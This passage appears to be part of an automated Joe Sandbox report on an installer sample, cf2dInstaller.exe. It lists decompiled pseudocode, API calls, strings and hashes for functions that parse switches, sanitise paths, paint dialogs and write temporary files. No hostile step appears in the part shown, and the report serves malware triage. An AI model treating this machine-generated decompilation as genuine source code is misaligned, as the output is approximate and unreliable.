Part of subcall function 70552058: lstrcpy.KERNEL32(?,00000004), ref: 70552077
Part of subcall function 70552058: GlobalFree.KERNEL32(00000000), ref: 70552087

GlobalFree.KERNEL32(?), ref: 70551DE8

Part of subcall function 70551070: lstrcmp.KERNEL32(00000000,?), ref: 70551094

GlobalAlloc.KERNEL32(00000000,?,?,?,00000000), ref: 70551D0F
lstrlen.KERNEL32(?,?,00000000), ref: 70551D1B
lstrcmpi.KERNEL32(00000000,/noempty), ref: 70551D37
lstrcpy.KERNEL32(00000000,70553066), ref: 70551D5D
lstrlen.KERNEL32(?,?,00000000), ref: 70551D74
lstrcpyn.KERNEL32(?,?,?,?,00000000), ref: 70551D8B
lstrcpyn.KERNEL32(?,?,?,?,00000000), ref: 70551DBC
GlobalFree.KERNEL32(00000000), ref: 70551DDE

Strings

/noempty, xrefs: 70551D31

Memory Dump Source

Source File: 00000003.00000002.506936748.0000000070551000.00000040.00020000.sdmp, Offset: 70550000, based on PE: true

Associated: 00000003.00000002.506928166.0000000070550000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506949667.0000000070557000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.506963095.0000000070558000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.506990793.0000000070559000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_70550000_cf2dInstaller.jbxd

Similarity

API ID: Global$Free$Alloclstrcpylstrcpynlstrlen$lstrcmplstrcmpi
String ID: /noempty
API String ID: 4145020976-3384471421
Opcode ID: ba7e54dc7292660bd423fd227215f8f7458ce138fedec96b148403c0489c2b2d
Instruction ID: dc8bb28c309777701c8ffe33bdc1ea026cffa4634a48e575dcfbb76b50b56d4a
Opcode Fuzzy Hash: ba7e54dc7292660bd423fd227215f8f7458ce138fedec96b148403c0489c2b2d
Instruction Fuzzy Hash: 054147B1A00209AFDB12DF65CC4CB4E3FBBEF44255F104556F809AB2A0D770E958CB98

Uniqueness

Uniqueness Score: -1.00%

Function 733D1180, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 97
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E733D1180(struct HWND__* _a4, long _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				intOrPtr _t18;
				void* _t19;
				int _t23;
				signed int _t24;
				struct HWND__* _t29;
				struct HWND__* _t30;
				CHAR* _t35;
				signed int _t39;
				long _t47;
				int _t48;
				struct HWND__* _t49;

				_t47 = _a8;
				 *0x733d3000 = _a4;
				_t18 = _a20;
				 *0x733d3064 = _a16;
				 *0x733d3024 = _t18;
				 *0x733d3060 = _t47;
				 *0x733d3068 = _a12;
				_t19 =  *((intOrPtr*)( *((intOrPtr*)(_t18 + 0xc))))( *0x733d302c, E733D1160);
				if( *0x733d305c == 8) {
					return _t19;
				}
				_t35 = GlobalAlloc(0x40, _t47);
				if(E733D1414(_t35) != 0) {
					L17:
					return GlobalFree(_t35);
				}
				_t23 = E733D1499(_t35);
				_t39 =  *0x733d305c;
				_t48 = _t23;
				_t24 = 0;
				if(_t39 <= 0) {
					L6:
					if(E733D1414(_t35) != 0) {
						goto L17;
					}
					 *(0x733d3004 +  *0x733d305c * 4) = _t48;
					if(lstrcmpiA(_t35, "/NOTIFY") != 0) {
						 *((intOrPtr*)(0x733d3030 +  *0x733d305c * 4)) = E733D1499(_t35);
					} else {
						 *((intOrPtr*)(0x733d3030 +  *0x733d305c * 4)) = 0xffffffff;
					}
					 *0x733d305c =  *0x733d305c + 1;
					L11:
					if( *0x733d3054 == 0) {
						 *0x733d3054 = SetWindowLongA(_a4, 4, E733D10E0);
					}
					_t49 = _a4;
					_t29 = GetDlgItem(_t49, _t48);
					if(_t29 == 0) {
						_t30 = FindWindowExA(_t49, _t29, "#32770", _t29);
						if( *0x733d3050 != _t30) {
							 *0x733d3050 = _t30;
							 *0x733d3058 = SetWindowLongA(_t30, 4, E733D1080);
						}
					}
					goto L17;
				}
				while( *((intOrPtr*)(0x733d3004 + _t24 * 4)) != _t48) {
					_t24 = _t24 + 1;
					if(_t24 < _t39) {
						continue;
					}
					goto L6;
				}
				goto L11;
			}

0x733d118d
0x733d1190
0x733d1195
0x733d1198
0x733d11a9
0x733d11ae
0x733d11b4
0x733d11be
0x733d11c7
0x733d12ca
0x733d12ca
0x733d11d7
0x733d11e1
0x733d12c0
0x00000000
0x733d12c7
0x733d11e8
0x733d11ed
0x733d11f3
0x733d11f5
0x733d11f9
0x733d120e
0x733d1216
0x00000000
0x00000000
0x733d1227
0x733d1236
0x733d1257
0x733d1238
0x733d123e
0x733d123e
0x733d125e
0x733d1264
0x733d1272
0x733d1281
0x733d1281
0x733d1287
0x733d128b
0x733d1293
0x733d129d
0x733d12a9
0x733d12b3
0x733d12ba
0x733d12ba
0x733d12a9
0x00000000
0x733d12bf
0x733d1200
0x733d1209
0x733d120c
0x00000000
0x00000000
0x00000000
0x733d120c
0x00000000

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 733D11D1

Part of subcall function 733D1414: lstrcpyA.KERNEL32(?,?,?,733D11DF,00000000), ref: 733D1433
Part of subcall function 733D1414: GlobalFree.KERNEL32 ref: 733D1443

lstrcmpiA.KERNEL32(00000000,/NOTIFY,00000000,00000000,00000000), ref: 733D122E
SetWindowLongA.USER32 ref: 733D127F
GetDlgItem.USER32 ref: 733D128B
FindWindowExA.USER32 ref: 733D129D
SetWindowLongA.USER32 ref: 733D12B8
GlobalFree.KERNEL32 ref: 733D12C1

Strings

/NOTIFY, xrefs: 733D1221
#32770, xrefs: 733D1296

Memory Dump Source

Source File: 00000003.00000002.507019376.00000000733D1000.00000020.00020000.sdmp, Offset: 733D0000, based on PE: true

Associated: 00000003.00000002.507001262.00000000733D0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.507029806.00000000733D2000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.507042128.00000000733D4000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_733d0000_cf2dInstaller.jbxd

Similarity

API ID: GlobalWindow$FreeLong$AllocFindItemlstrcmpilstrcpy
String ID: #32770$/NOTIFY
API String ID: 1156966252-2748884102
Opcode ID: c9bd630f5de5e4650c923a7bc4581814c266d8d614d369b4b29a8837ce5415de
Instruction ID: 086023bf8b745811236f366e67fb3fa20e7854425f922bd31bee641941ddd0bf
Opcode Fuzzy Hash: c9bd630f5de5e4650c923a7bc4581814c266d8d614d369b4b29a8837ce5415de
Instruction Fuzzy Hash: AB313CB3A30204AFD371EF76EC40B5A77BDAB093617248125E98BD7245D73E9820CB64

Uniqueness

Uniqueness Score: -1.00%

Function 10002440, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 136
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E10002440(void* __edx, intOrPtr _a4) {
				signed int _v4;
				CHAR* _t32;
				intOrPtr _t33;
				void* _t34;
				void* _t36;
				void* _t43;
				void** _t49;
				CHAR* _t58;
				void* _t59;
				signed int* _t60;
				void* _t61;
				intOrPtr* _t62;
				CHAR* _t63;
				void* _t73;

				_t59 = __edx;
				_v4 = 0 |  *((intOrPtr*)(_a4 + 0x814)) > 0x00000000;
				while(1) {
					_t9 = _a4 + 0x818; // 0x818
					_t62 = (_v4 << 5) + _t9;
					_t32 =  *(_t62 + 0x14);
					if(_t32 == 0) {
						goto L9;
					}
					_t58 = 0x1a;
					if(_t32 == _t58) {
						goto L9;
					}
					if(_t32 != 0xffffffff) {
						if(_t32 <= 0 || _t32 > 0x19) {
							 *(_t62 + 0x14) = _t58;
						} else {
							_t32 = E100015E5(_t32 - 1);
							L10:
						}
						goto L11;
					} else {
						_t32 = E10001561();
						L11:
						_t63 = _t32;
						_t13 = _t62 + 8; // 0x820
						_t60 = _t13;
						if( *((intOrPtr*)(_t62 + 4)) != 0xffffffff) {
							_t49 = _t60;
						} else {
							_t49 =  *_t60;
						}
						_t33 =  *_t62;
						 *(_t62 + 0x1c) =  *(_t62 + 0x1c) & 0x00000000;
						if(_t33 == 0) {
							 *_t60 =  *_t60 & 0x00000000;
						} else {
							if(_t33 == 1) {
								_t36 = E10001641(_t63);
								L27:
								 *_t49 = _t36;
								L31:
								_t34 = GlobalFree(_t63);
								if(_v4 == 0) {
									return _t34;
								}
								if(_v4 !=  *((intOrPtr*)(_a4 + 0x814))) {
									_v4 = _v4 + 1;
								} else {
									_v4 = _v4 & 0x00000000;
								}
								continue;
							}
							if(_t33 == 2) {
								 *_t49 = E10001641(_t63);
								_t49[1] = _t59;
								goto L31;
							}
							_t73 = _t33 - 3;
							if(_t73 == 0) {
								_t36 = E10001550(_t63);
								 *(_t62 + 0x1c) = _t36;
								goto L27;
							}
							if(_t73 > 0) {
								if(_t33 <= 5) {
									_t61 = GlobalAlloc(0x40,  *0x10004058 +  *0x10004058);
									 *(_t62 + 0x1c) = _t61;
									MultiByteToWideChar(0, 0, _t63,  *0x10004058, _t61,  *0x10004058);
									if( *_t62 != 5) {
										 *_t49 = _t61;
									} else {
										_t43 = GlobalAlloc(0x40, 0x10);
										 *(_t62 + 0x1c) = _t43;
										 *_t49 = _t43;
										__imp__CLSIDFromString(_t61, _t43);
										GlobalFree(_t61);
									}
								} else {
									if(_t33 == 6 && lstrlenA(_t63) > 0) {
										 *_t60 = E1000276E(E10001641(_t63));
									}
								}
							}
						}
						goto L31;
					}
					L9:
					_t32 = E10001550(0x10004034);
					goto L10;
				}
			}

0x10002440
0x10002454
0x10002458
0x10002463
0x10002463
0x1000246a
0x1000246f
0x00000000
0x00000000
0x10002473
0x10002476
0x00000000
0x00000000
0x1000247b
0x10002486
0x10002496
0x1000248d
0x1000248f
0x100024a5
0x100024a5
0x00000000
0x1000247d
0x1000247d
0x100024a6
0x100024aa
0x100024ac
0x100024ac
0x100024af
0x100024b5
0x100024b1
0x100024b1
0x100024b1
0x100024b7
0x100024b9
0x100024bf
0x1000258a
0x100024c5
0x100024c8
0x10002583
0x1000256f
0x10002570
0x1000258d
0x1000258e
0x10002599
0x100025c3
0x100025c3
0x100025a9
0x100025b5
0x100025ab
0x100025ab
0x100025ab
0x00000000
0x100025a9
0x100024d1
0x1000257b
0x1000257d
0x00000000
0x1000257d
0x100024d7
0x100024da
0x10002567
0x1000256c
0x00000000
0x1000256c
0x100024e0
0x100024e9
0x10002525
0x10002527
0x10002537
0x10002540
0x10002562
0x10002542
0x10002546
0x1000254d
0x10002551
0x10002553
0x1000255a
0x1000255a
0x100024eb
0x100024ee
0x10002510
0x10002512
0x100024ee
0x100024e9
0x100024e0
0x00000000
0x100024bf
0x1000249b
0x100024a0
0x00000000
0x100024a0

APIs

lstrlenA.KERNEL32(?), ref: 100024F5
GlobalAlloc.KERNEL32(00000040,?), ref: 1000251F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 10002537
GlobalAlloc.KERNEL32(00000040,00000010), ref: 10002546
CLSIDFromString.OLE32(00000000,00000000), ref: 10002553
GlobalFree.KERNEL32 ref: 1000255A
GlobalFree.KERNEL32 ref: 1000258E

Part of subcall function 10001550: lstrcpyA.KERNEL32(00000000,?,10001607,?,100011A1,-000000A0), ref: 1000155A

Strings

@u<u, xrefs: 10002553

Memory Dump Source

Source File: 00000003.00000002.506890676.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.506882203.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506902544.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506915040.0000000010005000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_cf2dInstaller.jbxd

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpylstrlen
String ID: @u<u
API String ID: 520554397-3153514966
Opcode ID: 73698bcf168bc25748ca8d9a57d83aa9733e480b4e517d970f119df6c2bd3c01
Instruction ID: 5e8646e4445d362173c86146a51869b75f136194909619477c3c659b9c9ef311
Opcode Fuzzy Hash: 73698bcf168bc25748ca8d9a57d83aa9733e480b4e517d970f119df6c2bd3c01
Instruction Fuzzy Hash: 5041BB71505B02DFF324CF248C94B6AB7F8FB443E2F614919F946DA189DB70E8808B66

Uniqueness

Uniqueness Score: -1.00%

Function 70551869, Relevance: 13.6, APIs: 5, Strings: 4, Instructions: 102
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E70551869(void* __edx, void* __eflags, signed int _a8, intOrPtr _a12, signed int _a16, intOrPtr* _a20) {
				void* _t26;
				intOrPtr _t28;
				void* _t29;
				signed int _t31;
				intOrPtr* _t35;
				void* _t40;
				void* _t41;
				void* _t43;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t50;
				long _t51;
				intOrPtr* _t53;

				_t46 = __edx;
				_t51 = _a8;
				 *0x70554030 = _a16;
				 *0x70554034 = _a12;
				 *0x7055402c = _t51;
				 *((intOrPtr*)(_a20 + 0xc))( *0x70554010, E7055176B, _t47, _t50);
				_a8 = _a8 & 0x00000000;
				_t48 = GlobalAlloc(0, _t51);
				if(E70552058(_t48) != 0) {
					L18:
					_t26 = GlobalFree(_t48);
					if(_a8 != 0) {
						return _t26;
					}
					_t28 =  *_a20;
					 *(_t28 + 8) = 1;
					return _t28;
				}
				_t29 = E70551070(_t48);
				_t43 = _t40;
				_t41 = _t29;
				if(E70552058(_t48) != 0 || _t41 == 0) {
					L17:
					goto L18;
				} else {
					_t53 =  *0x7055300c;
					_t31 =  *_t53(_t48, "/reset");
					if(_t31 != 0) {
						_a16 = _a16 & 0x00000000;
						if(E7055177D(_t43, _t48, ?str?, 4, 1) != 0) {
							_push("/next");
							_push(_t48);
							if( *_t53() != 0) {
								_push("/prev");
								_push(_t48);
								if( *_t53() != 0) {
									_t35 = E70551190(_t41, _t48);
									_a16 = 1;
									L12:
									L13:
									_t54 = _t35;
									if(_t35 == 0) {
										goto L17;
									}
									E70552098( *((intOrPtr*)(_t54 + 4)));
									if(_a16 == 0) {
										E70552098( *_t54);
									}
									L16:
									_a8 = 1;
									goto L17;
								}
								_t35 = E70551270(_t41);
								goto L13;
							}
							_t35 = E70551250(_t41);
							goto L13;
						}
						_t12 = _t48 + 4; // 0x4
						_t35 = E705511D0(_t46, _t41, E705520DD(_t12));
						goto L12;
					}
					 *(_t41 + 0xc) =  *(_t41 + 0xc) & _t31;
					goto L16;
				}
			}

0x70551869
0x70551870
0x70551874
0x70551887
0x7055188f
0x70551895
0x70551898
0x705518a5
0x705518af
0x70551973
0x70551974
0x70551980
0x7055198f
0x7055198f
0x70551985
0x70551987
0x00000000
0x70551987
0x705518b7
0x705518bc
0x705518be
0x705518c7
0x70551972
0x00000000
0x705518d5
0x705518d5
0x705518e1
0x705518e5
0x705518ec
0x70551904
0x70551918
0x7055191d
0x70551922
0x7055192c
0x70551931
0x70551936
0x70551942
0x70551947
0x7055194e
0x7055194f
0x7055194f
0x70551954
0x00000000
0x00000000
0x70551959
0x70551962
0x70551966
0x70551966
0x7055196b
0x7055196b
0x00000000
0x7055196b
0x70551939
0x00000000
0x70551939
0x70551925
0x00000000
0x70551925
0x70551906
0x70551911
0x00000000
0x70551911
0x705518e7
0x00000000
0x705518e7

APIs

GlobalAlloc.KERNEL32(00000000,?), ref: 7055189F

Part of subcall function 70552058: lstrcpy.KERNEL32(?,00000004), ref: 70552077
Part of subcall function 70552058: GlobalFree.KERNEL32(00000000), ref: 70552087

GlobalFree.KERNEL32(00000000), ref: 70551974

Part of subcall function 70551070: lstrcmp.KERNEL32(00000000,?), ref: 70551094

lstrcmpi.KERNEL32(00000000,/reset), ref: 705518E1

Strings

/at=, xrefs: 705518F4
/prev, xrefs: 7055192C
/next, xrefs: 70551918
/reset, xrefs: 705518DB

Memory Dump Source

Source File: 00000003.00000002.506936748.0000000070551000.00000040.00020000.sdmp, Offset: 70550000, based on PE: true

Associated: 00000003.00000002.506928166.0000000070550000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506949667.0000000070557000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.506963095.0000000070558000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.506990793.0000000070559000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_70550000_cf2dInstaller.jbxd

Similarity

API ID: Global$Free$Alloclstrcmplstrcmpilstrcpy
String ID: /at=$/next$/prev$/reset
API String ID: 3396181618-947506115
Opcode ID: 7bab6834c2a1d2e9f9430fdbc9eb03d676cf569f570b84a28a594c34ad8222e0
Instruction ID: bdd0d118149d33c5819690609c416f25e486f6ca0f44251ada2f153ba3b8ebdd
Opcode Fuzzy Hash: 7bab6834c2a1d2e9f9430fdbc9eb03d676cf569f570b84a28a594c34ad8222e0
Instruction Fuzzy Hash: 98319E71601305AFD7119F26CC8DB5F3FBBAF456A4F10441BF906AA2A0D774A84C8B69

Uniqueness

Uniqueness Score: -1.00%

Function 00405C6E, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C6E(CHAR* _a4) {
				char _t5;
				char _t7;
				char* _t15;
				char* _t16;
				CHAR* _t17;

				_t17 = _a4;
				if( *_t17 == 0x5c && _t17[1] == 0x5c && _t17[2] == 0x3f && _t17[3] == 0x5c) {
					_t17 =  &(_t17[4]);
				}
				if( *_t17 != 0 && E0040556C(_t17) != 0) {
					_t17 =  &(_t17[2]);
				}
				_t5 =  *_t17;
				_t15 = _t17;
				_t16 = _t17;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((char*)(E0040552A("*?|<>/\":", _t5))) == 0) {
							E004056A4(_t16, _t17, CharNextA(_t17) - _t17);
							_t16 = CharNextA(_t16);
						}
						_t17 = CharNextA(_t17);
						_t5 =  *_t17;
					} while (_t5 != 0);
				}
				 *_t16 =  *_t16 & 0x00000000;
				while(1) {
					_t16 = CharPrevA(_t15, _t16);
					_t7 =  *_t16;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t16 =  *_t16 & 0x00000000;
					if(_t15 < _t16) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x00405c70
0x00405c78
0x00405c8c
0x00405c8c
0x00405c92
0x00405c9f
0x00405c9f
0x00405ca0
0x00405ca2
0x00405ca6
0x00405ca8
0x00405cb1
0x00405cb3
0x00405ccd
0x00405cd5
0x00405cd5
0x00405cda
0x00405cdc
0x00405cde
0x00405ce2
0x00405ce3
0x00405ce6
0x00405cee
0x00405cf0
0x00405cf4
0x00000000
0x00000000
0x00405cfa
0x00405cff
0x00000000
0x00000000
0x00000000
0x00405cff
0x00405d04

APIs

CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",C:\Users\user\AppData\Local\Temp\,00000000,004030D2,C:\Users\user\AppData\Local\Temp\,00000000,00403244), ref: 00405CC6
CharNextA.USER32(?,?,?,00000000), ref: 00405CD3
CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",C:\Users\user\AppData\Local\Temp\,00000000,004030D2,C:\Users\user\AppData\Local\Temp\,00000000,00403244), ref: 00405CD8
CharPrevA.USER32(?,?,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",C:\Users\user\AppData\Local\Temp\,00000000,004030D2,C:\Users\user\AppData\Local\Temp\,00000000,00403244), ref: 00405CE8

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405C6F, 00405CAA
*?|<>/":, xrefs: 00405CB6
"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\", xrefs: 00405C74

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2446329744
Opcode ID: 5aa71b13a4eda0142438c40892e2bf660e792717ed83394db4a483eb7dc85cb7
Instruction ID: 3b67653c5ee308ebbdbeafcda2e7905df7fa5ba98b11233f7c0ae47683edab57
Opcode Fuzzy Hash: 5aa71b13a4eda0142438c40892e2bf660e792717ed83394db4a483eb7dc85cb7
Instruction Fuzzy Hash: 0811905180CB912EFB3206245D44BB7BF89CB567A0F58447BE9C5B22C2CA7C5C429A6D

Uniqueness

Uniqueness Score: -1.00%

Function 00403E25, Relevance: 12.1, APIs: 8, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403E25(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t35;
				long _t37;
				void* _t40;
				long* _t49;

				if(_a4 + 0xfffffecd > 5) {
					L15:
					return 0;
				}
				_t49 = GetWindowLongA(_a12, 0xffffffeb);
				if(_t49 == 0) {
					goto L15;
				}
				_t35 =  *_t49;
				if((_t49[5] & 0x00000002) != 0) {
					_t35 = GetSysColor(_t35);
				}
				if((_t49[5] & 0x00000001) != 0) {
					SetTextColor(_a8, _t35);
				}
				SetBkMode(_a8, _t49[4]);
				_t37 = _t49[1];
				_v16.lbColor = _t37;
				if((_t49[5] & 0x00000008) != 0) {
					_t37 = GetSysColor(_t37);
					_v16.lbColor = _t37;
				}
				if((_t49[5] & 0x00000004) != 0) {
					SetBkColor(_a8, _t37);
				}
				if((_t49[5] & 0x00000010) != 0) {
					_v16.lbStyle = _t49[2];
					_t40 = _t49[3];
					if(_t40 != 0) {
						DeleteObject(_t40);
					}
					_t49[3] = CreateBrushIndirect( &_v16);
				}
				return _t49[3];
			}

0x00403e37
0x00403ecb
0x00000000
0x00403ecb
0x00403e48
0x00403e4c
0x00000000
0x00000000
0x00403e52
0x00403e5b
0x00403e5e
0x00403e5e
0x00403e64
0x00403e6a
0x00403e6a
0x00403e76
0x00403e7c
0x00403e83
0x00403e86
0x00403e89
0x00403e8b
0x00403e8b
0x00403e93
0x00403e99
0x00403e99
0x00403ea3
0x00403ea8
0x00403eab
0x00403eb0
0x00403eb3
0x00403eb3
0x00403ec3
0x00403ec3
0x00000000

APIs

GetWindowLongA.USER32 ref: 00403E42
GetSysColor.USER32(00000000), ref: 00403E5E
SetTextColor.GDI32 ref: 00403E6A
SetBkMode.GDI32 ref: 00403E76
GetSysColor.USER32(?), ref: 00403E89
SetBkColor.GDI32 ref: 00403E99
DeleteObject.GDI32 ref: 00403EB3
CreateBrushIndirect.GDI32 ref: 00403EBD

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction ID: df06335cf3b4afc37a3544ae2d30c5d34a8579c70edf0d6bae8496df32602c64
Opcode Fuzzy Hash: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction Fuzzy Hash: DC219671904709ABCB219F78DD08B4B7FF8AF00715F048A29F855E22E0D338E904CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040267C, Relevance: 10.6, APIs: 7, Instructions: 89
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040267C(struct _OVERLAPPED* __ebx) {
				void* _t27;
				long _t32;
				struct _OVERLAPPED* _t47;
				void* _t51;
				void* _t53;
				void* _t56;
				void* _t57;
				void* _t58;

				_t47 = __ebx;
				 *(_t58 - 8) = 0xfffffd66;
				_t52 = E004029F6(0xfffffff0);
				 *(_t58 - 0x44) = _t24;
				if(E0040556C(_t52) == 0) {
					E004029F6(0xffffffed);
				}
				E004056C4(_t52);
				_t27 = E004056E3(_t52, 0x40000000, 2);
				 *(_t58 + 8) = _t27;
				if(_t27 != 0xffffffff) {
					_t32 =  *0x42eb74; // 0xd000
					 *(_t58 - 0x2c) = _t32;
					_t51 = GlobalAlloc(0x40, _t32);
					if(_t51 != _t47) {
						E004030AF(_t47);
						E0040307D(_t51,  *(_t58 - 0x2c));
						_t56 = GlobalAlloc(0x40,  *(_t58 - 0x1c));
						 *(_t58 - 0x30) = _t56;
						if(_t56 != _t47) {
							E00402E5B( *((intOrPtr*)(_t58 - 0x20)), _t47, _t56,  *(_t58 - 0x1c));
							while( *_t56 != _t47) {
								_t49 =  *_t56;
								_t57 = _t56 + 8;
								 *(_t58 - 0x38) =  *_t56;
								E004056A4( *((intOrPtr*)(_t56 + 4)) + _t51, _t57, _t49);
								_t56 = _t57 +  *(_t58 - 0x38);
							}
							GlobalFree( *(_t58 - 0x30));
						}
						WriteFile( *(_t58 + 8), _t51,  *(_t58 - 0x2c), _t58 - 8, _t47);
						GlobalFree(_t51);
						 *(_t58 - 8) = E00402E5B(0xffffffff,  *(_t58 + 8), _t47, _t47);
					}
					CloseHandle( *(_t58 + 8));
				}
				_t53 = 0xfffffff3;
				if( *(_t58 - 8) < _t47) {
					_t53 = 0xffffffef;
					DeleteFileA( *(_t58 - 0x44));
					 *((intOrPtr*)(_t58 - 4)) = 1;
				}
				_push(_t53);
				E00401423();
				 *0x42ebe8 =  *0x42ebe8 +  *((intOrPtr*)(_t58 - 4));
				return 0;
			}

0x0040267c
0x0040267e
0x0040268a
0x0040268d
0x00402697
0x0040269b
0x0040269b
0x004026a1
0x004026ae
0x004026b6
0x004026b9
0x004026bf
0x004026cd
0x004026d2
0x004026d6
0x004026d9
0x004026e2
0x004026ee
0x004026f2
0x004026f5
0x004026ff
0x0040271e
0x00402706
0x0040270b
0x00402713
0x00402716
0x0040271b
0x0040271b
0x00402725
0x00402725
0x00402737
0x0040273e
0x00402750
0x00402750
0x00402756
0x00402756
0x00402761
0x00402762
0x00402766
0x0040276a
0x00402770
0x00402770
0x00402777
0x00402164
0x0040288e
0x0040289a

APIs

GlobalAlloc.KERNEL32(00000040,0000D000,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 004026D0
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,000000F0), ref: 004026EC
GlobalFree.KERNEL32 ref: 00402725
WriteFile.KERNEL32(FFFFFD66,00000000,?,FFFFFD66,?,?,?,?,000000F0), ref: 00402737
GlobalFree.KERNEL32 ref: 0040273E
CloseHandle.KERNEL32(FFFFFD66,?,?,000000F0), ref: 00402756
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 0040276A

Memory Dump Source

